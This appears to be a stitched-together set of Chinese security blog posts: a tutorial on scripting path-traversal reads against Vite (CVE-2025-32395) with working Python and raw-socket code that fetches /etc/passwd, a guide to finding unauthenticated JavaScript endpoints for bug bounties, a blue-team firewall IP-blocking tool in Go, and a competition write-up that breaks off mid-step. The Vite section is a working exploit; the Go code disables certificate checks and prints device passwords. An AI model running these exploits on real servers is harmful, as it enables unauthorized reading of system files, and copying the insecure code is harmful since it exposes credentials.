一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

前言

最近刚结束了一个HVV蓝队,比较头疼,甲方内部设备简直太多了,目前各个大厂都是这么玩儿的,本地MSS不好好适配不同厂家的产品,弹起来适配的问题最好的借口就是需要开发介入调整适配,不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮,有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲,通过告警事件联动不同区域的防火墙这种技术手段太简单了,本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了,可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上,目前探针获取的流量也只能获取非SSL流量,不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的,另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。

这次的工具功能是封禁共享情报的ip,或者是基于不同边界的不同品牌的防火墙和WAF的封禁。

下载地址:

功能介绍

  • 支持多种防火墙设备统一管理(H3C,QAX,SXF,山石,K01,DP等)
  • 网防K01提供黑名单批量查询、添加、删除功能
  • 支持 IP 规则化、过滤、清洗等功能
  • 界面简洁,操作便捷,可以选择性的根据不同的情报源头选择不同边界的设备进行封禁
  • 关于产品型号可支持大部分型号,除网防K01外其它产品封禁实现原理是基于添加地址到地址簿,封禁策略需手动处理

工具介绍和代码逻辑

配置文件

配置文件存放在config/config.json中,需要提前配置json文件,负责无法使用程序。这里关于config的文件内容务必按照格式规则设置,否则无法解析。

DP防火墙

DP防火墙的登录方式是telnet,逻辑是通过添加ip地址进入地址簿,添加ip地址

package devices

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type DPConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToDP(cfg DPConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里没有直接使用回显显示状态,没有监听服务器回显状态再输入命令,具体使用该方式是新增一个地址簿,再策略位置设置封禁策略,引用添加的地址簿即可。界面效果

H3c防火墙

采用ssh登录使用命令操作

package devices

import (
	"fmt"
	"strings"
	"time"

	"golang.org/x/crypto/ssh"
)

func AddIPsToH3C(cfg H3CConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动 shell 失败: %v\n", err)
	}

	commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(300 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里采用了监听回显,核心代码是

commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

当然这里可以增加优化,代码内关于ip地址的添加以及删除等操作都可以做,工具后期可以依托命令功能增加多个模块化设计,当然为了降低操作风险的话,这里黑名单封禁的操作足够使用了。

山石防火墙

山石登录方式是telnet登录使用命令操作

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type HSConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToHillstone(cfg HSConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

山石防火墙的命令基本和华三防火墙的命令基本一致,目前基本上可以支持大多数版本型号的防火墙,使用前可以做测试。

网盾K01

网盾K01的话这里采用的是关于api的利用,目前关于网盾K01的黑名单添加的模式是和防火墙不一致的,可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。

// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
	for _, device := range devices {
		appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))

		// 登录并获取 Token
		url := fmt.Sprintf("https://%s", device.IP)
		token := Login(url, device.Username, device.Password, output, device.Name)
		if token == "" {
			appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
			continue
		}

		// 逐个 IP 添加到黑名单
		for _, ip := range ips {
			// 如果 IP 地址没有 CIDR 后缀,添加 "/32"
			if !strings.Contains(ip, "/") {
				ip += "/32"
			}

			// 打印调试日志,确认每个 IP 地址
			appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))

			// 准备请求 payload
			payload := map[string]interface{}{
				"color":       0,
				"device_mask": []int{224},
				"items": []map[string]interface{}{
					{
						"type":        0,
						"ip":          ip, // 这里单独封禁每个 IP 地址
						"timeout":     336,
						"time_type":   "3600",
						"device_mask": []int{224},
						"comment":     "自动封禁",
					},
				},
				"method": "add",
			}

			// 打印调试日志,确认请求 Payload
			payloadBytes, _ := json.Marshal(payload)
			// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))

			// 请求封禁
			req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 执行请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
				continue
			}
			defer resp.Body.Close()

			// // 打印调试日志,确认响应代码
			// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))

			// 解析响应
			body, _ := ioutil.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
				continue
			}

			// // 打印调试日志,确认响应结果
			// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))

			// 根据结果显示成功或失败
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
			} else {
				appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
			}
		}
	}
}

// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
	for _, idx := range selected {
		device := devices[idx] // 获取当前选择的设备
		url := fmt.Sprintf("https://%s", device.IP)

		// 输出正在登录设备信息
		appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))

		// 登录设备,获取 token
		token := Login(url, device.Username, device.Password, outputBox, device.Name)
		if token == "" {
			appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败,无法删除黑名单", device.Name))
			continue
		}

		// 遍历 IP 列表,直接进行删除操作
		for _, ip := range ipList {
			apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
			payload := fmt.Sprintf(`{
				"color": 0,
				"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
				"method": "delete"
			}`, ip, ip)

			// 创建请求
			req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
			if err != nil {
				appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 发送请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
				continue
			}
			defer resp.Body.Close()

			// 读取响应
			body, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
				continue
			}

			// 解析响应
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
				continue
			}

			// 检查删除是否成功
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(outputBox, fmt.Sprintf("✅ 删除成功,IP: %s", ip))
			} else {
				// 如果失败,输出错误信息
				if msg, ok := result["msg"].(string); ok {
					appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
				} else {
					appendOutput(outputBox, "❌ 删除失败,未知错误")
				}
			}
		}
	}

关于api的调用的话是有其自己的参数规则的,因为认证方式是https,所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表,所以这里就执行的是直接删除,否则就删除失败,但是对于功能性的查询模块的功能是有的,由于网盾k01的产品特性,一点发现全网阻断,所以这里基本上用不到删除黑名单的功能。

QAX网神防火墙

网神联动利用的是ssh登录执行命令,所以这里权限也相对来说比较大,对于蓝队来讲不建议增加其它代码功能,原理也是利用策略引用地址簿进行封禁

func AddIPsToQAX(cfg QAXConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         15 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动shell失败: %v\n", err)
	}

	commands := []string{
		"config terminal",
		fmt.Sprintf("object address %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network %s 32", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

向地址簿中添加ip地址核心代码

commands := []string{
	"config terminal",
	fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
	commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")

目前我也是查询了多款网神防火墙的手册,关于地址簿添加这块儿的命令版本是没有变化的,基本上支持大多数版本型号。

SXF_AF和WAF

这里SXF的设备是有两种模式可供选择的,但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改,所以这里使用的API的方式向地址簿中添加要封禁的IP地址,但是这里的话,策略务必要配置正确。

// 新增的结构体,用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
	Devices []SXFDevice `json:"devices"`
}

// 登录响应结构体
type loginResponse struct {
	Code int `json:"code"`
	Data struct {
		LoginResult struct {
			Token string `json:"token"`
		} `json:"loginResult"`
	} `json:"data"`
	Message string `json:"message"`
}

// 添加 IP 请求结构体
type ipRange struct {
	Start string `json:"start"`
}

type addIPRequest struct {
	IPRanges []ipRange `json:"ipRanges"`
}

// ✅ 防冲突:明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
	// 打印设备信息,确保 IP、用户名和密码正确
	fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
	url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)

	payload := map[string]string{
		"name":     device.Username,
		"password": device.Password,
	}
	jsonData, _ := json.Marshal(payload)

	client := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
	}
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return "", fmt.Errorf("登录请求失败: %v", err)
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// 打印响应内容进行调试
	fmt.Println("响应体内容:", string(body))

	var result struct {
		Code    int    `json:"code"`
		Message string `json:"message"`
		Data    struct {
			LoginResult struct {
				Token string `json:"token"`
			} `json:"loginResult"`
		} `json:"data"`
	}

	if err := json.Unmarshal(body, &result); err != nil {
		return "", fmt.Errorf("解析登录响应失败: %v", err)
	}

	// 检查返回的 code
	if result.Code != 0 {
		return "", fmt.Errorf("登录失败: %s", result.Message)
	}

	// 返回 token
	return result.Data.LoginResult.Token, nil
}

// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
	}

	// 输出加载的 JSON 数据(用于调试)
	fmt.Printf("加载的 JSON 数据: %s\n", string(data))

	var devices []SXFDevice
	err = json.Unmarshal(data, &devices)
	if err != nil {
		return nil, fmt.Errorf("设备解析失败: %v", err)
	}

	// 输出解析后的设备信息(调试)
	fmt.Printf("加载的设备数量: %d\n", len(devices))
	for _, device := range devices {
		// 输出每台设备的详细信息,特别是 AddressGroup 字段
		fmt.Printf("设备信息:Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
	}

	return devices, nil
}

// ✅ 添加多个 IP 到 SXF 地址组(支持日志回调)
// 在 AddToSXFBlacklist 函数内部,确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组(支持日志回调)
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {

	for _, device := range devices {
		// 1. 登录
		token, err := SXFLogin(device)
		if err != nil {
			logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
			continue
		}
		logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))

		// 2. 添加每个IP
		for _, ip := range ips {
			ipRanges := []map[string]string{{"start": ip, "end": ip}}
			requestData := map[string]interface{}{"ipRanges": ipRanges}
			requestDataJSON, _ := json.Marshal(requestData)

			// 3. 发送请求
			url := fmt.Sprintf(
				"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
				device.IP,
				device.AddressGroup,
			)
			req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
			req.Header = http.Header{
				"token":        []string{token},
				"Content-Type": []string{"application/json"},
			}

			client := &http.Client{
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
				continue
			}
			defer resp.Body.Close()

			// 4. 处理响应
			body, _ := io.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
				continue
			}

			if code, ok := result["code"].(float64); ok && code == 0 {
				logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
					device.Name, ip, device.AddressGroup))
			} else {
				msg, _ := result["message"].(string)
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
			}
		}
	}
	return nil
}

如果想要扩展功能的话不建议使用API去扩展,毕竟太麻烦了,各种参数比较麻烦,没有ssh的方式登录使用命令操作简便。

整体界面效果

总结

其它厂商的防火墙确实没找到手册,有的是找到手册没有测试的设备,目前上述的设备和代码是完全没有问题的,如果想添加其它厂商的设备,可以给我操作手册,我这边更新新版本发布。每次更新后的授权时间是3个月

前言

刚好有机会接触到卫生行业的运维赛,这里只有机会接触到测试赛,简单谢谢wp吧,测试赛的话主办方也是用心了的,难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】 模拟了一台公网上的服务器,内置 MYSQL\SSH\WEB 等应用服务,但是因为安全意识不到位导致该服务器存在若干安全风险,现在要求对该服务器实施断网并作全方面的安全检查,由于服务的迁移,在系统中保留了一些历史服务的流量包,需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现:密码有效期90天、连续输错三次密码,账号锁定五分钟。

2、通过修改mysql相关配置实现:开启数据库查询日志、限制任意地址登录,只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值,写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置(恶意配置后门请直接删除)。

5、还有其他的一些要求,但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作,如果因为修改密码或私钥导致无法得分,选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离,如果因为隔离IP导致无法得分,选手自行负责。

【接入信息】

1、SSH服务端口22,账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh,发现处于docker容器内,其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次,锁定5分钟

vim /etc/pam.d/sshd

auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件

auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
